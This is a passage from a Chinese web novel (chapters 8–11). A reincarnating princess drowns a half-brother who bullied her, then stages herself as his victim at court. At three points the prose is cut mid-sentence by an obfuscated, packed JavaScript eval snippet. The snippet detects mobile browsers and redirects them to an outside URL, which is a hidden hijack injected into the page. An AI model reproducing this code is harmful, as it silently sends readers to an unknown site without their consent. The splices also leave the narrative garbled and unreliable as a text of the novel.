她在白芍口中,听出了一些猫腻,看来原身是被人欺负得退学了。 很符合原身在书中的人物设定,性格怯懦,温和孝顺。 因为胆小怯懦,所以被人欺负也不敢反抗,因为温和孝顺,所以为了不给良嫔添麻烦,即便不去上学,也不找良嫔告状。 “殿下所言极是,只是回去之前,务必要将那些小人铲除干净,殿下,小鬼易除,十殿下与十一殿下,却难以解决啊。” 白芍赞同公主回太学读书,不光是为了躲避刺杀,也因为只有读完书才能入朝管理朝政,得陛下青睐,否则一辈子都出不了头。 可太学那群人,实在是太麻烦了,尤其是以十公主、十一皇子为首的那群家伙,光凭良嫔很难解决此事。 李暮歌明白了,小说里的皇室李家和某个李家一样,同室操戈是祖传手艺,在上学阶段,便已初见端倪。 又是不让上学,又是连番刺杀,不知道的还以为原身闲得没事干,到处挖人祖坟,把所有人的祖宗都挖出来晒太阳了。 多大的罪过,至于被如此针对。 “同为父皇的孩子,有什么难解决的。”李暮歌一想到原身孤零零死在角落,欺负她的人,杀她的人却有许多安安稳稳活到最后,就恨得牙痒痒,她继续说道:“本殿下一会儿便去太学,你收拾东西,之后到梧桐殿等着。” 今日她还会遇两场刺杀,不好好利用一番,岂不浪费了。 正好皇帝生辰要到了,她不知道原身给皇帝准备了什么礼物,现在她来到这个世界了,亲自准备礼物才显孝心,她就送给那位养孩子如养蛊一般的皇帝,一份大礼! 8. 第 8 章 去梧桐殿同良嫔简单说了下昨晚的事,良嫔确定李暮歌没受伤后,就放她离开了。 出了梧桐殿,李暮歌直奔太学。 太学设立在宫外,就在朱雀门附近,临近的六公主的公主府,李暮歌此前从未踏足过此地。 从春和宫过去要走上接近半个时辰,所以李暮歌直接牵了马来,骑马过去。 皇宫之中,普通大臣若无皇帝恩赐,不能乘坐轿撵,身为公主,自然可以乘轿或骑马,李暮歌更喜欢骑马,因为轿子里是个太过封闭的空间,里面万一藏着个刺客,李暮歌躲都没地方躲。 马蹄声踏在长长的甬道上,李暮歌全凭身体记忆驾驭那匹大马,大庄人擅武,自高祖起便是马上得天下,无论公主还是皇子,都十分擅长骑马。 原身也不意外。 感受风吹过耳畔的声响,李暮歌尽量放松身体,让自己适应在马背上的感觉,以后她少不了要与马儿打交道。 一刻钟多一些,李暮歌便看见了朱雀门,朱红色的大门实在是耀眼,此刻大门大开着,上头的禁卫忠诚守护着城池。 白芍上前出示令牌,见是公主令牌,禁军果断放行。 此刻太学中,台上的夫子正在讲课,满嘴之乎者也,底下的学子们则是睡觉的睡觉,说话的说话,传纸条的传纸条,还有人眉来眼去,不知在打什么坏主意。 夫子需得抬高声音,才能让几个安心读书的人,听见他在说什么。 整个课堂都充斥着欢乐的气氛,实在不像是在读书,反倒更像是在热闹的大街上。 颜士玉听着吵吵闹闹的说话声,捧着书本,苦着一张脸。 她前几日才入太学,之前都是在阿姊身边学习,阿姊叫她去国子监,她想着自己没去参加科举,身上没有功名,去了国子监平白给颜家招来非议,不如到太学读书。 太学里的学生都是高官之后,还有皇家公主与皇子,想来也是个做学问的好去处。 结果在太学的几天时间,真是让她长了见识,原来不是所有高官之后,都如颜家人一般好学,她从未见过如此多不好学习,好玩乐的学子! 罢了罢了,再等等吧,她已去信族中,请族中长辈过来教学,以后她老老实实在家里学好了。 颜士玉表面严肃听讲,实际思绪已经飞到天外。 突然间,有人推开了紧闭的门,站在门口说了句话,打破了学堂上欢乐的气氛。 “隔着老远,本殿下就听见了这屋里的吵闹声,怕是天下学堂里,没有比此间学堂更热闹的地方了,夫子面对如此多顽劣不堪的学生,还能不闻不问,一心只教圣贤书,真是毅力惊人。” 颜士玉抬头,看见来人后,略为惊讶地挑了下眉。 是十四公主。 颜士玉其实刚到太学的时候便觉得奇怪了,她只在太学见到两位殿下,太学里理应有五位才对。 自十殿下后,一直到十四殿下,五位殿下年龄相仿,十二殿下与八皇子秦王同为德妃所出,秦王出去办事,带上弟弟,叫弟弟长长见识。 十三公主则是前段时间打马球摔了腿,还在宫中养伤,所以两位殿下没来太学。 十四殿下缘何也没来? 颜士玉问过太学里的几个学子,那些学子均支支吾吾,言语不详,只推说是十四殿下自己不愿来太学。 问得多了,那些学子便说是皇家之事,为人臣子者不好置喙。 颜士玉想到这儿,目光看向坐在学堂之中,两位金尊玉贵的人物。 十公主与十一皇子长相相似,二人乃是双胎,此刻如出一辙的两双杏眼,带着同样的不屑与厌恶,看着门口的人。 “臣见过十四殿下,殿下今日既然来了,便请入座听课吧。” 夫子满脸木然之色,好似没有听见十四殿下刚刚的嘲讽,也不在乎前段时间十四殿下没来学堂之事。 他能怎么办?他就是个普通的臣子,在官场上被打压,才被安排到太学任课,真正有前途有学识的人,早被安排到国子监去了。 太学的学子,尽是惹不起的人物,他们不学无术,没有人能管得了。 这些学子在家里素来是装乖卖巧的行家,告家长都没用,况且如果他们真有出息,肯定选择去国子监,或在家请夫子教导,哪儿会被扔到太学里来。 李暮歌还没说话,十公主和十一皇子先起身了。 “一个痴傻愚笨之人,怎能入太学学堂听课?” “皇妹今日可真是威风,入门便嘲讽夫子,在宫中躲了几日,便忘了尊师重道四字怎么写了吗?” 这副姿态可真是熟悉,跟现代时李暮歌遇见的,学校里欺负她的人一模一样。 李暮歌深吸口气,做出被气得说不出话的模样,转身又要走。 她清楚这一类人的秉性,他们才刚升起捉弄人的想法,不会善罢甘休,就此放过她这个“柔弱可期”的对象。 果然,见她要走,两人对视一眼,带着几个跟班就跟上来了,这下谁都上不了课了。 太学剩下的学生想跟出去看热闹,夫子谁都管不了,干脆接着照着课本念圣贤语,颜士玉看看上头无动于衷的夫子,再看看底下跃跃欲试的学子,一咬牙,起身跟了出去。 她有种不祥的预感,总觉得放任不管会出大事。 李暮歌继续往前走,太学环境很好,绿树青葱,还有人工湖与各类山石布景。 李暮歌开始物色一个地方,她看中了湖边。 高大的垂柳正好遮挡太阳,旁边便是一处凉亭,亭内无人,李暮歌一路进去,走在栏杆边,低头看着底下的绿水,水波荡漾开来,有鱼儿在其中嬉戏。 “好啊,你长本事了,现在不老老实实缩着脖子等死,学会跑了!” 十公主昂首挺胸迈入亭中,李暮歌走得太快,她为了追李暮歌,不自觉跑了几步,与后头人拉开了距离。 白芍上前,一脸焦急地想说什么,被十公主与十一皇子的宫人捂嘴压住,根本发不出声音。 十公主比较胖,身为女子,在这个年岁,她要比她弟弟强壮一些。 十一皇子最近长高了些,身上没什么肉,穿上衣服后,被风一吹像是竹竿挂衣服。 李暮歌视线最终落在了十一皇子身上,她走到十一皇子跟前,十一皇子不解地瞪着她,正要开口与姐姐一样,奚落李暮歌,谁知李暮歌深吸口气,随后伸手拽住他的手,直接往后一倒。 两道身形越过栏杆,坠入水中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858474|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从高处坠落,在水中溺亡,这种体验,李暮歌经历过许多次。 李暮歌的身体微微颤抖,像是惧怕又像是在兴奋,在身体入水的瞬间,她屏住了呼吸,尽量下沉,手像是虎钳一样,死死拽着十一皇子。 十一皇子一脸不可置信,他入水前没吸气,入水后挣扎向上,更是乱了气息,氧气迅速流失,让他体会到了死亡的逼近。 他意识到了什么,脸上的表情转为祈求,他拼命挣扎,拳脚打在李暮歌身上,带来一阵阵疼痛,却因为慌乱没了章法,根本没有甩开李暮歌。 李暮歌拽着他一路往远处游,她不确定自己往哪个方向游,她只知道远离岸边。 李暮歌知道自己可能也会死在水下,但无所谓,她现在很高兴! 下一次,她能在水下更灵活,多来几次,绝对能达成目的。 玩家在游戏里为什么无敌?不就是因为玩家能读档,还能不死吗? 她且当自己在玩游戏,她怕什么! 看着狼狈挣扎,一心求生的十一皇子,李暮歌笑得愈发灿烂。 不是欺负人吗?不是很不可一世吗?原来你跟我一样,只有一条命啊! 你还不如我,你死了就是死了,下一世,你还会愚蠢得被我拽入水中,然后在我眼前,挣扎着死去! 十一皇子看见了李暮歌有些狰狞的笑,他眼底的惧怕加深了,此刻他感受到了李暮歌玉石俱焚的杀意。 他会死在这里,死在李暮歌手上。 想到这儿,十一皇子更用力的挣扎,然后在一次蹬腿无果后,他腿部传来一阵阵抽痛感,他的身体在水中像是在陆地上的鱼,抽搐几次后,体力逐渐见底。 李暮歌看着他沉底,松开手,换十一皇子想伸手拽她,被她在水下狠踹一脚,吃痛之下没了力气,只能被李暮歌将手掰开。 李暮歌欣赏了一下对方脸上的绝望,随后又踹了对方一脚,借力向上。 “你们愣着做什么!下水去救人啊!十一!十一!” 亭中十公主望着不住有水花在底下翻涌的湖面,疯了似得大喊,她的身体则连连后退,仿佛离那水面越远,她越有安全感。 跟在十公主身后的学子们面面相觑,他们中有人会水,可他们不敢下水救人,还是救两个人。 尤其这两人到现在还没浮出水来,谁知道是什么情况。 于是会水的人纷纷去找护卫,让他们拿长杆,周围的仆从听声也围了过来,知晓是两位殿下落水,他们下饺子一样往湖里跳。 人群中,颜士玉在岸上做了几个动作,随后也入水了。 她水性非常好,很快就游在了所有人前头,颜士玉到的时候,正巧看见水下李暮歌踹了十一皇子一脚。 李暮歌浮出水面,大口喘了两口气,回头对上了颜士玉惊愕的双眸,她眼神一变,姿势很快变成了挣扎,口中大喊。 “救命!咕嘟……救命啊!皇兄杀我!咕嘟……救命!” 颜士玉目瞪口呆。 李暮歌则想,真够倒霉的,早知道多演一会儿,不知道这样折腾,十一能不能死。 她不怕自己演技不好,被人撞破杀人意图,更不怕十公主和十一皇子指认她杀人,反正大不了死了重来。 9. 第 9 章 李暮歌还以为颜士玉会继续在旁边发呆下去,没想到她很快反应过来,舍弃了快要沉底的十一皇子,将自己救上去了。 李暮歌一上岸,先看了一眼在岸上,神情紧张害怕的众人,随后对上了十公主惊惧憎恶的眼神,冲十公主笑了笑,柔柔弱弱地说:“皇姐、皇兄为何要对十四下此狠手?同为父皇的孩子,血脉相连,你们却想杀我……” 她说罢,不等十公主开口,身体直接软倒。 在水下耗费了太多体力,李暮歌能支撑到岸上,说完台词才晕,她都佩服自己的毅力。 十一现在还没动静,绝对已经被淹死了。 李暮歌此时此刻才发现,在百次死亡的折磨之下,她属于现代女大的温柔良善,全都喂了狗,什么人的生命是无价的,狗屁! 世上只有她的命是无价的,她要活下去,为此,她可以下手杀任何人,只要有人威胁到她的性命,她都会杀。 十一此前霸凌过原身,谁知道原身的死,有没有他的手笔。 李暮歌再睁开眼,人已经到了梧桐殿,她躺在空无一人的寝殿内,香炉燃起袅袅香气,茉莉清淡的香味缠绕鼻尖。 光透过窗子打入室内,夕阳暖黄的色调,为一切事物笼上了一层岁月的故旧。 一时之间,难以认清身在何处,是梦还是现实。 “呜呜呜,陛下!陛下您可要为臣妾做主啊陛下!十一、十一他……他素来孝悌恭亲,仁善友爱,怎会做出残害手足之事!” “淑妃娘娘此话是说十四残害手足?还是说,十四以自己的性命,陷害兄长?淑妃娘娘不觉得,此话实在是可笑吗!” “十四公主今日突然出现在太学,又将十一引到水上凉亭处,她行事如此反常,谁知是不是别有用心!陛下,救十四上来的学子是颜家女,谁人不知,昨日十四出宫到了大公主府上,大公主与颜家向来亲近,那颜家女……” “够了!” 外间传来的吵闹声,让李暮歌恍惚的神情逐渐收敛。 此刻外间有两女一男,女子中,有一人正是李暮歌的母妃良嫔,另外一女则是淑妃,剩下的男子不必多言,自然就是当今皇帝李麒。 关起门来谈事情,可见皇帝并不想将此事闹大。 果然,在淑妃将此事和大公主与颜家扯上瓜葛后,皇帝立马呵斥了她,让她住嘴。 小说里,夺嫡之战开启的导火索是李暮歌的死,现在李暮歌不想死,那或许,十一皇子能够成为这个导火索,代替李暮歌。 李暮歌心想,她冲动之下,倒是阴差阳错给自己挣了一条活路。 “太学学子尽皆目睹了此事,十四被十一推入水中,挣扎间求救时,亦是高喊皇兄杀我!十一略通水性,十四则从未习过洑水之术,淑妃,是十一害人不成反送性命,念及他已经去了,此事便不追究了,你回去叫礼部挑个好地方,安葬他吧。” “陛下!陛下!十一已经十五岁了,他可以入皇陵,求陛下开恩!陛下!” “够了!夭折之子,怎能入皇陵!十四还没醒,你少吵嚷两句吧,来人!送淑妃回华景宫,小十还病着,你已经没了一个孩子,好好照顾另外一个孩子。” 此刻帝皇是如此无情,李暮歌听到这话,不禁一愣,原来夭折之子不能入皇陵,也就是说,原身死在十五岁,同样不能入皇陵。 在大庄,二十岁才被视作长成,因此十五岁在夭折的范畴内。 李暮歌想,自己以后若是寿终就寝,死后肯定得入皇陵安葬,在她入皇陵后,难道要与昔日的仇敌们长眠一处吗? 肯定不行!那些过二十岁的,她可以另想办法,其余人,她完全可以名正言顺的清出皇陵。 她得动作快一点儿,不然再过几年,她的那些兄弟姊妹,全都过夭折的岁数了。 淑妃走后,皇帝也离开了,李暮歌听到外头恭送圣上的声音响起,才发现,皇帝竟然都没想过进来看一看她。 没有亲眼看看他刚刚“死里逃生”的女儿。 一如对待已经死去的十一皇子般,冷漠得好似那不是他的孩子。 李暮歌知道,皇帝一生最重视疼爱的孩子只有两人,一为大公主,二为太子。 “十四,醒了吗?” 李暮歌听到良嫔进来了,她此刻身体疲惫至极,实在懒得应付旁人的询问,干脆闭着眼睛,放缓呼吸,让自己看上去像是还在睡。 良嫔走近后果真没有发现不对,吩咐宫人守着李暮歌,她转身离开了。 窗户缝隙里钻进来的风,在略显空荡的屋中转了半圈,最后仅仅吹动垂下的纱帘,让纱帘晃了晃,没有引起任何人的注意。 到了晚上,李暮歌肚子饿了,才从床上爬起来。 她醒后自然睡不着了,只是累得不想动,在床上躺了半个多小时,闭目养神。 所以等良嫔过来看她时,她精神奕奕,一口接一口吃着饭,整个人算得上是光彩照人。 怎么看都不像是刚刚经历生死磨难的人。 良嫔见此,神情微变,她摆了摆手,屋中宫人尽数离开,只剩下翠玉还在屋里。 李暮歌咽下一口饭菜,正好吃得差不多了,就放下碗筷,对良嫔微微点头算是行礼,“母妃。” “淑妃说是你将十一推下去,故意溺死他,母妃本来不相信。” 但是看见李暮歌这副怡然自得的模样后,良嫔若还说李暮歌是受害者,那她就真是闭眼说瞎话了。 “父皇相信就行了,不过是一个皇子,是死是活,除了淑妃外,谁会在意呢?” 良嫔闻言愣了一下,随后笑道:“十四,你父皇听说你落水后,立马赶到梧桐殿,守着你到下午,是午后中书省来人,他才不得不先回去处理政务。” 李暮歌冲良嫔扯了扯嘴角,露出一个没什么感情的笑来,“那要多谢父皇恩宠,儿明日会去同父皇谢恩。” 李暮歌知道良嫔是误会了她说的话,良嫔以为她对皇帝不满,刚刚的话是借由十一皇子比对自身,说没人在意她。 要是下午李暮歌没醒,没听见皇帝和淑妃的对话,她还真会被良嫔的话安抚住,觉得皇帝心里有她这个女儿。 良嫔粉饰太平的能力是真的强。 良嫔见李暮歌言语间没有怨怼,更没有追究“十一皇子杀她”一事的意思,松了口气。 “淑妃是四妃之一,母家乃是肃国公覃家,她父亲于中书省做事,颇受陛下信重。”良嫔说了一大圈,最后一句才落在重点上,“何故要与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858475|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 覃家对上呢?” “树欲静而风不止,母妃最是清楚儿的性子。”挑事的人可不是我! 李暮歌拿起一旁的手帕擦了擦嘴,想到十公主和十一皇子丑陋的嘴脸,随手将帕子扔到桌上,冷然说道:“母妃可知道,儿已经有一段日子没去太学了。” 良嫔当然知道,她还知道李暮歌为什么不去。 “你们还小,兄弟姊妹之间有些矛盾很正常,何至于此啊!你们可是血脉相连的亲人!” 良嫔说到这儿,终于流露出她内心的真实想法,对李暮歌此举的不赞同与一丝惧怕。 十四对十一能下此狠手,有朝一日,小六挡了十四的路,或是得罪了十四,会不会躺在水里的那个人,就会是小六? “母妃,如果今日躺在棺材里的人是我,你还会说这些话吗?” 李暮歌很想为原身问一句,如果原身今日真的被十一害死,良嫔可敢如淑妃一样,求到冷漠无情的皇帝面前,求皇帝给原身的死一个交代,求皇帝允许原身入皇陵。 良嫔表情一僵,随后她躲开了李暮歌咄咄逼人的目光,有些心虚地说道:“这不是没事嘛,说来此次真是多亏颜家女郎了,母妃已经派人上门送了谢礼,等你好了,可要记得同颜家女郎亲自道一声谢。你才刚醒,想必身体乏得很,今日便在母妃这儿歇息吧。” “不必了,春和宫没有几步路就能到,母妃,儿告辞了。” 李暮歌带着“果然如此”的心态,面不改色地同良嫔行了一礼,起身走了。 到门口的时候,她对上了翠玉略有些担忧的眼神,对翠玉笑了笑,又转过身同刚刚松一口气的良嫔说道:“待万寿宴后,儿要去国子监读书,还请母妃同外祖说一声,请外祖为儿谋划一二。” 良嫔微微蹙眉,不想因为此事麻烦父亲,可李暮歌刚刚的话还在她脑海中回荡,良嫔最后点头了。 十四是她的孩子,十一死了,但是十公主还在太学,离得远些也安全些。 李暮歌又对良嫔行了一礼,离开了。 路上,李暮歌自嘲似得笑了笑,读过原著的她,明知道答案是什么,还非要问一嘴干什么呢? 李易曲和李暮歌都是良嫔的女儿,可人十指有长有短,爱自然也有轻有重。 对上李易曲时,李暮歌永远是被良嫔放弃的那个选项。 良嫔会为原身的死哭泣伤心,却也仅此而已。 若是死的人是六公主,良嫔会不计一切代价为六公主复仇,小说里,良嫔就是这么做得。 李暮歌记得还有一些读者说,良嫔不是厚此薄彼,是她原本还剩一个孩子,后来两个孩子都没了,才会豁出去了。 对于这些言论,李暮歌嗤之以鼻,良嫔只是孩子没了,不是全家都没了,她怎么可能因为没了孩子,豁出去玩九族消消乐! 是因为李易曲是良嫔的心头肉,有人挖了她的心头肉,她才会发疯,才会不管不顾。 那对于荣阳公主来说,谁才是她的心头肉,能让她豁出性命去造反呢? 一个十一皇子,显然不足以平复李暮歌的怨恨,今日刀已出鞘,定要多带走几个人头,才能收手。 李暮歌记得,小说里不止一次提过,荣阳公主十分看重外祖家。 10. 第 10 章 荣阳公主的优势和劣势都很明显,她的弱点正是她的外祖家,但是她的弱点并不是很好解决。 镇国将军府凌家,是开国功臣之后,在大庄建国百余年的时间里,一直镇守边关,祖祖辈辈全都是边关大将,对李氏皇族忠心耿耿,深受皇帝信赖。 皇帝李麒做人上问题很多,他不是个好父亲,更不是个好丈夫,但在做皇帝这件事上,他还是有几分本事的,他不会无缘无故杀害忠良。 李暮歌想,盛天皇帝登上皇位的过程过于艰难,登上皇位后的盛天皇帝想要成为世人眼中的明主,因此她舍弃了人性温暖的一面。为了能从盛天皇帝手中接过皇位,李麒尽量学习盛天皇帝,不管好的坏的统统都学了。 盛天皇帝塑造了李麒的骨与肉,同时赋予他狠心的品质,让他在面对权力和情感时,往往会做出有利于权力的选择,而舍弃身为人的一部分情感。 纵观历史,无论是明君还是昏君,都会被同一件事触怒,那就是身为皇帝的权柄,被臣子夺取。 有的皇帝念及君臣情分,对臣子忍耐一二,有的皇帝则是十足狠心,压根不会想昔日情分,爱之欲其生恶之欲其死,只要翻脸,立马动手杀人。 分析李麒的成长环境和他处理十一皇子的方式,李暮歌大胆猜测,李麒是后者。 但猜想不能作为实证,她还需要确认,李麒究竟是哪一类人。 正好,昔日霸凌原主的恶人还没死绝,还有一个躺在华景宫里高烧昏迷,人事不知。 李暮歌走回春和宫时,脑子里已经有了下一次动手的念头。 那个在水里潜伏,打算用水要她命的刺客,短时间内不会用同样的法子杀她,若后宫连着两名皇嗣溺亡,皇帝肯定会细查。 一夜无话,第二天一早,李暮歌一睁眼就起来了。 她已经适应了这一次重生,比起前百次重生,这一次格外让她舒心。 李暮歌已经找到了发泄情绪的办法。 吃完早饭,李暮歌打算去华景宫一趟,亲自看看十公主怎么样了,能不能顺手按死,结果被白芍给拦了下来。 “殿下,此刻华景宫一片缟素,听闻淑妃娘娘悲痛欲绝,在十一殿下棺椁前晕过去多次,连陛下都被淑妃娘娘喊过去两次,昨夜良嫔娘娘派人来,特意叮嘱奴,让奴注意着些殿下,这几日殿下莫要去华景宫附近,以免出事。” 白芍脸色略有些苍白,她没能阻止李暮歌被十一皇子拖下水,回来就被良嫔罚了几板子。 李暮歌看了白芍一眼,发现她站得时间长了后,身子在微微发颤,额头已经是一层冷汗。 “你受了伤,上药后好生躺着养伤,不必操心这些事,回去吧。” “谢殿下关心,只是良嫔娘娘让奴……” “你是春和宫的宫人,不是梧桐殿的宫人。” 李暮歌一句话,让白芍面上浮现一丝喜色,她伤得重,确实需要好好静养,良嫔让她带伤害跟着伺候,完全是一种惩罚。 白芍真的害怕自己伤重不治,宫里的宫人病得重了,只会被扔到偏僻无人的空屋里,熬得过去便继续在宫里做事,熬不过去,直接席子一裹扔出皇城。 现在殿下松口让她养伤,她就能以殿下的名义,私底下去找医女看诊,小命算是保下来了。 “奴谢过殿下,殿下实乃奴再生之母,奴愿为殿下赴汤蹈火,在所不辞!” 李暮歌说起梧桐殿时的不满,尽数被白芍听在耳中,以前白芍多听从良嫔的吩咐,是因为十四公主没什么主见,被人欺负都不敢说出来,白芍一个宫人,很多事情不能拿主意,只好求助良嫔。 现在殿下对她向外听从良嫔一事不满,她自然该向殿下投诚。 白芍又说道:“殿下,昨日淑妃娘娘在殿下昏迷时来过,她对殿下满腔愤恨,恨不得杀之而后快,为十一殿下报仇,殿下今日去华景宫确实危险。” 她此言是真心关怀,不愿意自己主子出事。 李暮歌点点头,没了刚刚的抵触情绪,费心解释了一句,“淑妃娘娘难道要将本殿下杀了,给十一陪葬吗?她做得到?” 白芍认真想了想,摇摇头,“殿下说的是,淑妃娘娘不敢动手。” “所以,有甚可怕的?现在父皇在华景宫吗?” 窥伺帝踪乃是不敬之罪,白芍低下头,小声说:“听说华景宫派人去了紫微殿请陛下,不知陛下有没有过去,只知今日早朝后,政事堂的相公们没有去紫薇殿议事。” 李暮歌懂了,皇帝过去了。 李暮歌起身,吩咐道:“你去叫白术与茯苓过来,让她们随本殿下去华景宫,敌人都是纸老虎,好对付得很,安心回去好好养伤吧。” 白芍原本忧心忡忡,现在听了李暮歌的话,突然觉得好像真没什么大不了。 李暮歌说淑妃是纸老虎,不是看不起淑妃,而是因为后宫是个规矩森严的地方,又或者说,天下是皇帝的天下,皇帝的意志决定事情发展。 皇帝不想淑妃继续计较,那淑妃就得打碎牙齿混血吞,她去华景宫,淑妃只会躲着她,不可能主动出手对付她。 此刻在皇帝心里,十一皇子恶毒至极,将不会水的妹妹推入水中,是想要杀人!结果自作自受,当真死了活该,淑妃不想让十一死后还要受罚,她就得老老实实的,以免勾起皇帝的怒火。 李暮歌一想到皇帝在华景宫,她死去活来那么多次,还是第一次跟皇帝在生前打交道,莫名有点儿兴奋。 她平复心情,出门前将眼睛揉红,摆出一副死了亲爹的架势,哭哭啼啼去了华景宫。 接下来,就是一个女大的戏精时刻了! 华景宫在皇城的东边,春和宫则在靠西的位置,想要过去,得横跨小半个皇宫。 而且中间还有皇后的凤栖宫挡着,绕着走得走上半个多时辰。 关键是李暮歌还不能骑马,骑马往皇城外走可以,皇城里头,尤其是中宫所在之地,除非有特殊的恩典,否则谁来都得走着。 李暮歌埋头赶路,半道上,遇见了大公主。 大公主坐在高轿上,八人前后抬着,坐得高看得远,李暮歌没瞧见大公主,大公主先瞧见红着眼睛的李暮歌了。 远远地就能看见李暮歌一脸悲痛,大公主以为李暮歌是在为十一皇子伤心。 大公主轻叹一声,同身边的宫人道:“十四赤子心肠,如今十一突传噩耗,她心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858476|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定然比谁都难受,快请十四公主过来。” “是。” 轿撵停驻,宫人疾走两步到了李暮歌一行三人跟前。 “奴见过十四殿下,殿下,大殿下请您过去一叙。” 李暮歌从埋头苦走的状态里回神,看见不远处八人抬着的大轿子,眼圈不禁红了。 自己过得苦固然难受,看见别人比自己过得好,那真是太难受了啊! 她要靠两条腿走过去,人家却有大轿子坐,差距太明显了。 李暮歌带着些许哭腔,问道:“大皇姐也要去华景宫吗?” “回十四殿下话,大殿下是要去华景宫吊唁十一殿下。” 李暮歌抬手抹去落下的一滴泪,吸了吸鼻子,“皇兄他年纪轻轻就去了,是该好生吊唁,他甚至不能入皇陵,百年之后,再也见不到他了。” 大公主身边的宫人听了这话,嘴唇微动,想劝劝李暮歌,又想到十一皇子是害死眼前的小公主不成,自己淹死的,深觉此刻说什么都徒然。 而且这位十四公主说话怎么听着怪怪的? 李暮歌的话若是用幸灾乐祸的语气说出来,估计会更符合她真实的心境。 没等宫人想明白怪异的点在哪儿,李暮歌已经抬步到了轿前。 大公主让人放下轿子,请李暮歌上轿同行。 李暮歌没客气,撩起珠帘入内,外表看起来豪华美丽的大轿子,内里的空间也很宽敞,像个移动的小屋子。 里头摆着桌椅软塌,大公主坐在软塌上,手边放着一本书,看不见书名是什么。 见李暮歌入内,大公主立马将她拉到身旁坐下,担忧地看着她,问:“十四,昨日你落水受惊了,怎么今日不在春和宫好好歇着?” “见过大皇姐,多谢皇姐关心,我没事。” 李暮歌满是羡慕的眼泪唰得一下流了下来,人比人气死人,大公主过得是真滋润啊! “唉,真不知道十一是哪根筋断了弦,竟对你起了杀心,这杀材去得倒也快,平白让活人受罪,快别哭了,皇姐看着都难过。” 大公主拿出手帕擦去李暮歌的泪水,嘴里说着安慰的话,心情非常不错。 对她来说,淑妃生出来的双胎是威胁,眼看那对双胎就要入朝做事了,死了一个真是除去一大患。 李暮歌帮她对付仇敌,还是个软弱无能的性格,大公主是越看越满意。 太子有荣阳支持,在朝中名声很好,大臣们说他友爱姊妹,有储君的宽容仁慈。 大公主嘴上不说,心里羡慕,如果她找到一个支持她的妹妹,或许也能在朝中运作一番,得个好名声。 她心思百转千回,面上对李暮歌更温和了三分。 李暮歌不知大公主的想法,但她能感受到大公主散发出的友好气息,正巧她现在羽翼不丰,需要寻找可靠的盟友。 大公主是做盟友的上佳人选。 李暮歌脑海中的思量一闪而过,她面上继续哭哭啼啼,作担惊受怕的受气包模样。 “十一皇兄他、他也不是故意的,如今阴差阳错之下出了事,十皇姐还高烧不醒,妹妹心中实在难安,便想去华景宫,宽慰宽慰淑妃娘娘。” 11. 第 11 章 宽慰? 大公主听到这个词,表情一瞬间变得有些奇怪。 “淑妃现在,恐怕并不想……”看见你,更不想得到你的宽慰。 大公主下意识要说实话,好在她还算有点儿同盟意识,对上李暮歌此刻显得格外清澈的眼神时,将剩下的话咽了下去。 “皇姐想说,淑妃娘娘不想看见我吧?我知道,这件事是我的错,可我不想死……” 眼看李暮歌又有哭起来的趋势,大公主赶紧出口安慰,“怎么会呢?淑妃向来明事理,想必她明白谁是谁非,不会盲目包庇十一。” 说完这话,大公主自己起了一身鸡皮疙瘩。 大公主此刻无比佩服自己,真是太敢说了,就淑妃那个小肚鸡肠的性子,自己竟然说得出夸奖她的话。 今日回府后少喝两口酒,当做胡言乱语的惩罚了。 “可是十一皇兄他没了,淑妃娘娘肯定恨透了我,其实今日去吊唁十一皇兄,我是抱着赎罪的心,只望淑妃娘娘能原谅我。” 李暮歌期期艾艾地说着,满意地看见了大公主震惊的眼神。 大公主就没见过这么“单纯”的孩子,满心真善美,甚至还想要淑妃原谅她。 淑妃有什么资格做那个原谅别人的人?她儿子杀人不成反被杀,她才应该求十四原谅吧! 大公主一时之间百感交集,十四太善良了,这孩子要是不看着点儿,怕是会被后宫给吞了。 善良的孩子谁都不亲近,只亲近自己这个大皇姐,这说明什么?说明在十四心里,比虚情假意的太子,大皇姐才是真正的仁善友爱! 大公主激动不已,指尖微微颤抖,她以前怎么没发现,后宫还有个如此合格的“绿叶”能加以利用。 大公主稍稍平复心绪后,轻声说道:“世人皆言死者为大,可世上之事,不是谁死谁有理,十一对你起杀心在前,淑妃身为四妃之一,理应为后宫女子做表率,怎能罔顾事实,颠倒黑白?你放心,大皇姐陪着你,不会有事的。” 李暮歌听得眼中亮起点点星芒,好似十分崇拜大公主,她郑重地说:“有大皇姐在,十四心里便安定了,大皇姐公正严明,孝悌仁爱,若大皇姐日后能手握神器,如我等这般渺小之人,定然也能承恩雨露,沐浴恩泽。” “皇宫之中,十四皇妹合该慎言。” 大公主嘴上让李暮歌说话小心些,嘴角却压不下去一点儿,对大公主来说,登上那个位置,是她最大的心愿。 她被李暮歌哄得想笑出声了,还好她记得宫里刚死了人,没直接笑出来。 